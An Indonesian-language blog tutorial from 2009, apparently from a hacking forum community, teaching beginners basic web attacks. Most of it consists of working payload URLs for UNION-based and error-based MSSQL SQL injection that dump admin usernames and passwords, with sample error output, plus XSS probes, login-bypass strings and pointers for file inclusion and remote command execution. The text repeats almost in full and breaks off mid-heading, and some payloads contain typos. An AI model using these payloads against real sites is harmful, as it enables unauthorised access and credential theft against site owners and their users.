Minggu, 25 Oktober 2009

simple basic common web attack

halo kawan-kawan semuanya, ini sebenernya gue pesembahkan buat devilzc0de yang sedang mengalami guncangan dari pihak asink(cie,cie bahasanya), maksudnya ini gue tulis ketika devilzc0de sedang mengalami suspend diforumnya, semoga ini cepat berlalu dan Devilzc0de cepet exist kembali, terima kasih buat temen2 yang udeh mau bantu berdirinya Devilzc0de sampe saat ini, w cinta loh semuanya, kita adalah familly.
ok, kawan2 langsung saja dari pada tunggu lama, tr malah kesel lagi lama2 w curhat...

oh yah, kenapa gue bisa pilih judul kaya diatas, karena ada buku yang judulnya web attack, nah disni gue cuma mempersimpel jah, bhkan ini basic sekali buat para pemula,bagi yang sudah bisa silahkan tidak usah dibaca tutorial cupu w ok, bagi yang mau baca silahkan aja.

dalam tutorial kali ini w akan membahas beberapa serangan yang sering dilakukan oleh para attacker web atau dengan kata lain tester web:

1.XSS (Cross site scripting)
2.basic SQL injection
3.SQL injection for ASP
4.bypass login
5.File Inclusion (RFI/LFI)
6.RCE (Remote Command Execution)

ok langsung saja kita menuju TKP juragan


0x01::XSS (cross site scripting)

nah loh apa itu??? itu adalah XSS (cross site scripting), wah kenapa namanya bukan jadi CSS???, wah pinter nih , gini loh karena CSS sendiri sudah memiliki arti yakni Cascading style sheet, nah nanti kalo pk singkatan itu jadi rancu donk,hehehe, yah pokoknya begitulah dari yang w pernah tahu n baca,kalo ada yang mau cari lagi silahkan jah kenapa namanya demikia, kalo w sih males, lebih baik langsung ngerti, xii,xii...

XSS adalah satu teknik web attack yang sangat mudah sekali dilakukan, ibaratnya, bug ini adalah sederhana karena attacker hanya menampilkan script yang tertulis di URL addressnya, wah gimana tuh...???? ok, langsung praktek saja

example:

http://namasite.com/aduh.php?xss=welcome+to+mysite

nah dari situ biasanya kita tahu baha web tesebut terkena vulnerable XSS, dari situ kita bisa memainkan URL tersebut menjadi:

example:

http://namasite.com/aduh.php?xss=alert(kamu ganteng deh)

nah nanti bisa kita rubah seperti itu,nanti setelah kita tekan enter maka akan keluar javascript alert dengan tulisan "kamu ganteng deh",hehehe


0x02::SQL injection

nah ini mungkin udeh pada tahu, atau mungkin udeh banyak yang mngerti metode ini, kalo udeh ada silahkan saja yah dilewadkan,, ini juga serangan attacker yang sering kali digunakan, karena masih banyak sekali site yang vulnerable dengan metode ini, sebelum lebih jauh membahas metode yang satu ini, g ada salahnya kita berkenalan dengan metode ini, karena ada pepatah, ga kenal maka g tahu(jayus loh..gpp yang penting metal..:p).

gini loh, sql injection adalah metode web attack dengan melakukan pemberian karakter2 khusus diURL target, jihaha, apalagi itu, saya g ngerti @#$%!@#...wets, sabar donk om, ini mau dikasih contoh, gini loh om, biasanya web tersebut di URLnya diberikan tanda quote,

example:

http://serang.org.sql.php?inject=20'

nah kan diberikan tanda petik tuh, kalo ada pesan error, berarti web tersebut vulnerable dengan sql injection

kemudian kita bisa mencari kolom keberapa yang mengalami masalah

example:

http://serang.org/sql.php?injection=10 order by 1--

example:

http://serang.org/sql.php?injection=10 order by 5--

atau juga bisa mencari dengan metode lain:

example:

http://serang.org/sql.php?injection=-10 union all select 1--

example:
http://serang.org/sql.php?injection=-10 union all select 1,2--

example:
http://serang.org/sql.php?injection=-10 union all select 1,2,3--

dan seterusnya

atau juga bisa

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1--

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2--

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2,3--

dan seterusnya sampe keluar kolom yang bermasalahnya ok...
nah kalo gitu, karena ini cuma contoh,kita anggap yang keluar adalah kolom ke 3

setelah itu kita bisa mengecek versi sqlnya

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,version(),4,5--

atau

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,@@version,4,5--

kalo seandainya yang keluar versi 4.x.x, maka lewadkan saja, kalo mau dipaksa bisa sih, tapi harus tebak2 tabel dan kolom,hehehe, kalo seandainya yang keluar versi 5.x.x , mari lanjutkan.

untuk mencari tabel yang terdapat dalam site tersebut

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=databasae()--

inget file yang penting adalah:

>>group_concat(table_name)<< == untuk mencari table dari database yang ada.

>>from information_schema.tables where table_schema=database << == diletakan di angka terakhir yang kita dapatkan (lihad contoh diatas)

ok, sekarang kita dapet tabelnya nih, misalnya isi tabelnya sebagai berikut:
admin
user
forum
berita
polling

nah stelah dapet itu selanjutnya kita harus tahu, apa saja sih yang ada didalam tabel itu, tapi tabel yang ingin dicari harus terlebih dahulu kita konvert ke ASCII

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x61646D696E--

61646D696E = admin = dari string kita rubah ke ASCII dengan menambahkan 0xASCII

setelah kita dapet kolomnya, sekarang saatnya kita dump itu kolom, misalkan kolom yang terdapat pada tabel adalah:
id
username
password
email

nah kan udeh tahu kan, dumping deh

example:

http://serang.org/sql.php?injection=-10 union all select group_concat(id,0x3a,username,0x3a,password,0x3a,email) from admin--

nah selesai deh, username n password ada ditangan anda, kalo seandainya password yang kita dapet di encrypt dengan md5 silahkan crack saja yah, banyak ko crackan buat md5 yang online tool sekarang..kalo saya sih lebih suka pake toolnya si gunslinger yang md5 cracking, enak tuh...sering dapet..sekalian w promosiin gunslinger tool loh, ok, setelah berhasil di crack atau dapet password dan usernamenya, silahkan cari halaman adminnya, kalo males, pk tool adminpagefinder dari gunslinger juga, sayang toolnya lum bisa update pagenya...hehe, tr kapan2 kita renov ya gunslinger.

0x03::SQL injection for ASP

sebernernya ini sama saja dengan metode SQL injection yang diatas, tapi bedanya hanya dibahasa yang digunakan, kalo yang diatas biasa di pk untuk *.php dan kalo yang ini untuk *.asp..

example:

http://inject.web.id/sql.asp?injection=12'

kalo muncul pesan error kaya gini "Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/news.asp, line 52" berarti bisa kita lanjutkan, selain dari itu, coba2 ajah ok...hehehehe :p

lanjutkan dengan

example:

http://inject.web.id/sql.asp?injection=12' HAVING 1=1--

error "Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."

cari lagi table dan kolomnya

example:

http://inject.web.id/sql.asp?injection=12' GROUP BY news.news_id HAVING 1=1--

error "Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."

Error menunjukkan nama column yang ketiga adalah "news_detail"
Untuk mencari nama column yang seterusnya, lakukan seperti langkah selanjutnya dengan menambahkan urutan nama-nama column.
Jika pada akhirnya tidak muncul error, berarti sudah tidak ada lagi column yang di dalam table.

Selanjutnya kita akan menggunakan metode yang lain untuk memanfaatkan error MSSQL dengan command "convert".
Contoh command yang akan ditambahkan diakhir URL (setelah parameter id) adalah: +and+1=convert(int,perintah)--
contoh kita akan melihat versi server:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,@@version)--

Pesan error yang muncul:

Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int.
/page.asp, line 9

Dari error tersebut kita mengetahui versi Microsoft SQL dan OS-nya.

Untuk mencari nama databasenya

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,db_name())--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9

Berdasarkan error maka dapat diketahui bahwa nama database adalah "cwhdb"

Untuk melihat user yang sementara menggunakan database gunakan command user_name(). contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,user_name())--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9

Error menunjukkan bahwa user adalah "sa"

Sekarang adalah bagaimana mencari nama table, nama column, dan isinya, dari table information_schema. Perintahnya: +and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))-- >>contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9

Dari query tersebut, dapat diketahui bahwa "threads" sebagai tipe data nvarchar dan tidak bisa diconvert ke data tipe int, maka menghasilkan error.
Dan dengan error tersebut, menunjukkan table yang pertama adalah table "threads".
Selanjutnya mencari table yang kedua. Dengan menambahkan perintah WHERE. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads')))--

/*Penjelasan perintah tersebut, yaitu kita akan mengambil informasi dari table information_schema dimana/dengan nama table tidak/bukan "threads". Atau dengan kata lain kita akan mencari table yang selain table "threads"*/
Maka akan muncul error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9

Error menunjukkan table yang kedua adalah "users". Untuk mencari table yang lain, hanya tambahkan nama table yang telah diketahui. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads','users')))--

Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9

Yang berarti nama table yang ketiga adalah table "forums"
Namun jika error yang tampil seperti ini:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10

Maka menandakan bahwa semua table telah ditampilkan dan sudah tidak ada lagi table yang lain.

Selanjutnya mencari nama column dari table. Metodenya hampir sama dengan yang sebelumnya, yaitu masih mencari dari "information_schema" namun perintahnya dari "information_schema.tables" berubah menjadi "information_schema.columns" dan dari "table_name" berubah menjadi "column_name". contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--

Menampilkan error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9

Dan berdasarkan error diketahui isi column pertama dari table "users" adalah column "uname".
Untuk mencari column yang lain gunakan perintah di akhir URL: and+column_name+not+in+('uname'). contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname')))--

Menghasilkan error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9

Berdasarkan error, column yang kedua adalah column "upass" yang terdapat dari table "user".
Untuk mencari column yang lain, tambahkan nama column yang telah kita ketahui sebelumnya. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname','upass')))--

Muncul error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9

Berarti column yang ketiga adalah column "email".
Tetapi jika error yang dihasilkan adalah:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10

Itu menandakan bahwa sudah tidak ada lagi column yang lain.

Last step, adalah mencari isi dari column yang telah kita ketahui. Seperti ini:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users))--

Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9

Berarti isi dari column "uname" yang berada di table "users" datanya adalah "admin".
Untuk mencari user yang lain, gunakan data yang telah kita ketahui. contoh:

example:

http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--

Jika error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9

Berarti username yang lain adalah "cwh". Dan untuk mencari user yang berikutnya, tambahkan username yang telah diketahui. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--

Dan jika errornya:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10

Berarti hanya ada 2 user yaitu "admin" dan "cwh".

Dan untuk mencari passwordnya, perintahnya seperti:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+upass+from+users))--

Dan jika error yang ditampilkan adalah:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value '123' to data type int.
/page.asp, line 9

Maka isi dari data yang pertama di column "upass" adalah "123".
Dari hasil yang kita dapat diatas, isi data pertama dari column "uname" adalah "admin", dan isi data pertama dari column "upass" adalah "123".
Berarti usernamenya adalah "admin" dan passwordnya "123"

0x04::bypass Login

emh apa yah...sebenernya sih pengertian ini w buat berdasarkan pengalaman w yah, masalahnya w mau cari referensi yang agak enak w pahamain pada sulit2..:p...akhirnya jad lah kesimpulan bypass menurut w...bypass adalah teknik hacking untuk login ke suatu site dengan memanfaatkan kesalahan dari si programmer di form login...
begitu kira2 menurut w brother...

ini sedikit list yang biasa di gunakan untuk bypass halaman website:

'or'
1'or'1'='1
having 1=1--
x'or'x'='x
dan masih banyak lagi silahkan anda kembangkan dan cari lagi, seperti biasa, in google..hehehe

0x05::File Inclusion

hello bro..ini dia kita memasuki tahap yang dibilang banyak dilakukan oleh para hacker indonesia yang sering main atau nongkrong di irc,hehehe :p
file inclusion ini terbagi 2 bagian:
1.Remote FIle Inclusion
2.Local File Inclusion

nah sini w bahas yang RFI dulu yah..

RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. nah ngerti g tuh bro...jadi gampangnya gini loh...jadi dari luar server kita bisa melakukan kaya kita didalam server, nah gitu bro...

nah kemudian LFI

LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

nah disni saya akan memberikan bug terjadinya RFI dan LFI..

> [Penjelasan ]
< fungsi-fungsi yang dapat menyebabkan LFI/RFI:include(); include_once(); require(); require_once(); Dengan syarat pada konfigurasi php di server: allow_url_include = on allow_url_fopen = on magic_quotes_gpc = off contoh: misalkan kita punya file index.php dengan content kodenya seperti ini, Code: include "../$_GET[framefile]"; ?>

0x06::RCE (Remote Command Execution)

RCE...wah apa tuh baru denger nih...???? wah kaka, masa sih baru denger..ini adalah salah satu serang yang sering digunakan oleh attacker di indonesia juga..dari namanya juga kita pasti tahu apakah itu..itu adalaha bagaiman si attacker mampu menexecute perintah2 dengan meremote server yang vulnerable dari site

sebagai contoh saya bisa kasih link saja yah tentang RCE ini

untuk mencari RCE anda bisa buka
http://www.milw0rm.com/papers/369

untuk bermain RCE dengan LFI, loh bisa baca
http://www.milw0rm.com/papers/361
http://www.milw0rm.com/papers/260

nah sisanya anda cari lagi yang mengenai RCE, sebenernya RCE bukan hanya ada di bug LFI, tapi masih banyak lagi, seperti di phpmyadmin dan lain-lain..

sekian dari saya semoga bermanfaat adanya bro...

halo kawan-kawan semuanya, ini sebenernya gue pesembahkan buat devilzc0de yang sedang mengalami guncangan dari pihak asink(cie,cie bahasanya), maksudnya ini gue tulis ketika devilzc0de sedang mengalami suspend diforumnya, semoga ini cepat berlalu dan Devilzc0de cepet exist kembali, terima kasih buat temen2 yang udeh mau bantu berdirinya Devilzc0de sampe saat ini, w cinta loh semuanya, kita adalah familly.
ok, kawan2 langsung saja dari pada tunggu lama, tr malah kesel lagi lama2 w curhat...

oh yah, kenapa gue bisa pilih judul kaya diatas, karena ada buku yang judulnya web attack, nah disni gue cuma mempersimpel jah, bhkan ini basic sekali buat para pemula,bagi yang sudah bisa silahkan tidak usah dibaca tutorial cupu w ok, bagi yang mau baca silahkan aja.

dalam tutorial kali ini w akan membahas beberapa serangan yang sering dilakukan oleh para attacker web atau dengan kata lain tester web:

1.XSS (Cross site scripting)
2.basic SQL injection
3.SQL injection for ASP
4.bypass login
5.File Inclusion (RFI/LFI)
6.RCE (Remote Command Execution)

ok langsung saja kita menuju TKP juragan


0x01::XSS (cross site scripting)

nah loh apa itu??? itu adalah XSS (cross site scripting), wah kenapa namanya bukan jadi CSS???, wah pinter nih , gini loh karena CSS sendiri sudah memiliki arti yakni Cascading style sheet, nah nanti kalo pk singkatan itu jadi rancu donk,hehehe, yah pokoknya begitulah dari yang w pernah tahu n baca,kalo ada yang mau cari lagi silahkan jah kenapa namanya demikia, kalo w sih males, lebih baik langsung ngerti, xii,xii...

XSS adalah satu teknik web attack yang sangat mudah sekali dilakukan, ibaratnya, bug ini adalah sederhana karena attacker hanya menampilkan script yang tertulis di URL addressnya, wah gimana tuh...???? ok, langsung praktek saja

example:

http://namasite.com/aduh.php?xss=welcome+to+mysite

nah dari situ biasanya kita tahu baha web tesebut terkena vulnerable XSS, dari situ kita bisa memainkan URL tersebut menjadi:

example:

http://namasite.com/aduh.php?xss=alert(kamu ganteng deh)

nah nanti bisa kita rubah seperti itu,nanti setelah kita tekan enter maka akan keluar javascript alert dengan tulisan "kamu ganteng deh",hehehe


0x02::SQL injection

nah ini mungkin udeh pada tahu, atau mungkin udeh banyak yang mngerti metode ini, kalo udeh ada silahkan saja yah dilewadkan,, ini juga serangan attacker yang sering kali digunakan, karena masih banyak sekali site yang vulnerable dengan metode ini, sebelum lebih jauh membahas metode yang satu ini, g ada salahnya kita berkenalan dengan metode ini, karena ada pepatah, ga kenal maka g tahu(jayus loh..gpp yang penting metal..:p).

gini loh, sql injection adalah metode web attack dengan melakukan pemberian karakter2 khusus diURL target, jihaha, apalagi itu, saya g ngerti @#$%!@#...wets, sabar donk om, ini mau dikasih contoh, gini loh om, biasanya web tersebut di URLnya diberikan tanda quote,

example:

http://serang.org.sql.php?inject=20'

nah kan diberikan tanda petik tuh, kalo ada pesan error, berarti web tersebut vulnerable dengan sql injection

kemudian kita bisa mencari kolom keberapa yang mengalami masalah

example:

http://serang.org/sql.php?injection=10 order by 1--

example:

http://serang.org/sql.php?injection=10 order by 5--

atau juga bisa mencari dengan metode lain:

example:

http://serang.org/sql.php?injection=-10 union all select 1--

example:
http://serang.org/sql.php?injection=-10 union all select 1,2--

example:
http://serang.org/sql.php?injection=-10 union all select 1,2,3--

dan seterusnya

atau juga bisa

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1--

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2--

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2,3--

dan seterusnya sampe keluar kolom yang bermasalahnya ok...
nah kalo gitu, karena ini cuma contoh,kita anggap yang keluar adalah kolom ke 3

setelah itu kita bisa mengecek versi sqlnya

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,version(),4,5--

atau

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,@@version,4,5--

kalo seandainya yang keluar versi 4.x.x, maka lewadkan saja, kalo mau dipaksa bisa sih, tapi harus tebak2 tabel dan kolom,hehehe, kalo seandainya yang keluar versi 5.x.x , mari lanjutkan.

untuk mencari tabel yang terdapat dalam site tersebut

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=databasae()--

inget file yang penting adalah:

>>group_concat(table_name)<< == untuk mencari table dari database yang ada.

>>from information_schema.tables where table_schema=database << == diletakan di angka terakhir yang kita dapatkan (lihad contoh diatas)

ok, sekarang kita dapet tabelnya nih, misalnya isi tabelnya sebagai berikut:
admin
user
forum
berita
polling

nah stelah dapet itu selanjutnya kita harus tahu, apa saja sih yang ada didalam tabel itu, tapi tabel yang ingin dicari harus terlebih dahulu kita konvert ke ASCII

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x61646D696E--

61646D696E = admin = dari string kita rubah ke ASCII dengan menambahkan 0xASCII

setelah kita dapet kolomnya, sekarang saatnya kita dump itu kolom, misalkan kolom yang terdapat pada tabel adalah:
id
username
password
email

nah kan udeh tahu kan, dumping deh

example:

http://serang.org/sql.php?injection=-10 union all select group_concat(id,0x3a,username,0x3a,password,0x3a,email) from admin--

nah selesai deh, username n password ada ditangan anda, kalo seandainya password yang kita dapet di encrypt dengan md5 silahkan crack saja yah, banyak ko crackan buat md5 yang online tool sekarang..kalo saya sih lebih suka pake toolnya si gunslinger yang md5 cracking, enak tuh...sering dapet..sekalian w promosiin gunslinger tool loh, ok, setelah berhasil di crack atau dapet password dan usernamenya, silahkan cari halaman adminnya, kalo males, pk tool adminpagefinder dari gunslinger juga, sayang toolnya lum bisa update pagenya...hehe, tr kapan2 kita renov ya gunslinger.

0x03::SQL injection for ASP

sebernernya ini sama saja dengan metode SQL injection yang diatas, tapi bedanya hanya dibahasa yang digunakan, kalo yang diatas biasa di pk untuk *.php dan kalo yang ini untuk *.asp..

example:

http://inject.web.id/sql.asp?injection=12'

kalo muncul pesan error kaya gini "Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/news.asp, line 52" berarti bisa kita lanjutkan, selain dari itu, coba2 ajah ok...hehehehe :p

lanjutkan dengan

example:

http://inject.web.id/sql.asp?injection=12' HAVING 1=1--

error "Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."

cari lagi table dan kolomnya

example:

http://inject.web.id/sql.asp?injection=12' GROUP BY news.news_id HAVING 1=1--

error "Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."

Error menunjukkan nama column yang ketiga adalah "news_detail"
Untuk mencari nama column yang seterusnya, lakukan seperti langkah selanjutnya dengan menambahkan urutan nama-nama column.
Jika pada akhirnya tidak muncul error, berarti sudah tidak ada lagi column yang di dalam table.

Selanjutnya kita akan menggunakan metode yang lain untuk memanfaatkan error MSSQL dengan command "convert".
Contoh command yang akan ditambahkan diakhir URL (setelah parameter id) adalah: +and+1=convert(int,perintah)--
contoh kita akan melihat versi server:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,@@version)--

Pesan error yang muncul:

Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int.
/page.asp, line 9

Dari error tersebut kita mengetahui versi Microsoft SQL dan OS-nya.

Untuk mencari nama databasenya

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,db_name())--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9

Berdasarkan error maka dapat diketahui bahwa nama database adalah "cwhdb"

Untuk melihat user yang sementara menggunakan database gunakan command user_name(). contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,user_name())--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9

Error menunjukkan bahwa user adalah "sa"

Sekarang adalah bagaimana mencari nama table, nama column, dan isinya, dari table information_schema. Perintahnya: +and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))-- >>contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9

Dari query tersebut, dapat diketahui bahwa "threads" sebagai tipe data nvarchar dan tidak bisa diconvert ke data tipe int, maka menghasilkan error.
Dan dengan error tersebut, menunjukkan table yang pertama adalah table "threads".
Selanjutnya mencari table yang kedua. Dengan menambahkan perintah WHERE. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads')))--

/*Penjelasan perintah tersebut, yaitu kita akan mengambil informasi dari table information_schema dimana/dengan nama table tidak/bukan "threads". Atau dengan kata lain kita akan mencari table yang selain table "threads"*/
Maka akan muncul error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9

Error menunjukkan table yang kedua adalah "users". Untuk mencari table yang lain, hanya tambahkan nama table yang telah diketahui. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads','users')))--

Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9

Yang berarti nama table yang ketiga adalah table "forums"
Namun jika error yang tampil seperti ini:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10

Maka menandakan bahwa semua table telah ditampilkan dan sudah tidak ada lagi table yang lain.

Selanjutnya mencari nama column dari table. Metodenya hampir sama dengan yang sebelumnya, yaitu masih mencari dari "information_schema" namun perintahnya dari "information_schema.tables" berubah menjadi "information_schema.columns" dan dari "table_name" berubah menjadi "column_name". contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--

Menampilkan error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9

Dan berdasarkan error diketahui isi column pertama dari table "users" adalah column "uname".
Untuk mencari column yang lain gunakan perintah di akhir URL: and+column_name+not+in+('uname'). contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname')))--

Menghasilkan error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9

Berdasarkan error, column yang kedua adalah column "upass" yang terdapat dari table "user".
Untuk mencari column yang lain, tambahkan nama column yang telah kita ketahui sebelumnya. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname','upass')))--

Muncul error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9

Berarti column yang ketiga adalah column "email".
Tetapi jika error yang dihasilkan adalah:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10

Itu menandakan bahwa sudah tidak ada lagi column yang lain.

Last step, adalah mencari isi dari column yang telah kita ketahui. Seperti ini:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users))--

Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9

Berarti isi dari column "uname" yang berada di table "users" datanya adalah "admin".
Untuk mencari user yang lain, gunakan data yang telah kita ketahui. contoh:

example:

http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--

Jika error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9

Berarti username yang lain adalah "cwh". Dan untuk mencari user yang berikutnya, tambahkan username yang telah diketahui. contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--

Dan jika errornya:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10

Berarti hanya ada 2 user yaitu "admin" dan "cwh".

Dan untuk mencari passwordnya, perintahnya seperti:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+upass+from+users))--

Dan jika error yang ditampilkan adalah:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value '123' to data type int.
/page.asp, line 9

Maka isi dari data yang pertama di column "upass" adalah "123".
Dari hasil yang kita dapat diatas, isi data pertama dari column "uname" adalah "admin", dan isi data pertama dari column "upass" adalah "123".
Berarti usernamenya adalah "admin" dan passwordnya "123"

0x04::bypass Login

emh apa yah...sebenernya sih pengertian ini w buat berdasarkan pengalaman w yah, masalahnya w mau cari referensi yang agak enak w pahamain pada sulit2..:p...akhirnya jad lah kesimpulan bypass menurut w...bypass adalah teknik hacking untuk login ke suatu site dengan memanfaatkan kesalahan dari si programmer di form login...
begitu kira2 menurut w brother...

ini sedikit list yang biasa di gunakan untuk bypass halaman website:

'or'
1'or'1'='1
having 1=1--
x'or'x'='x
dan masih banyak lagi silahkan anda kembangkan dan cari lagi, seperti biasa, in google..hehehe

0x05::File Inclusion

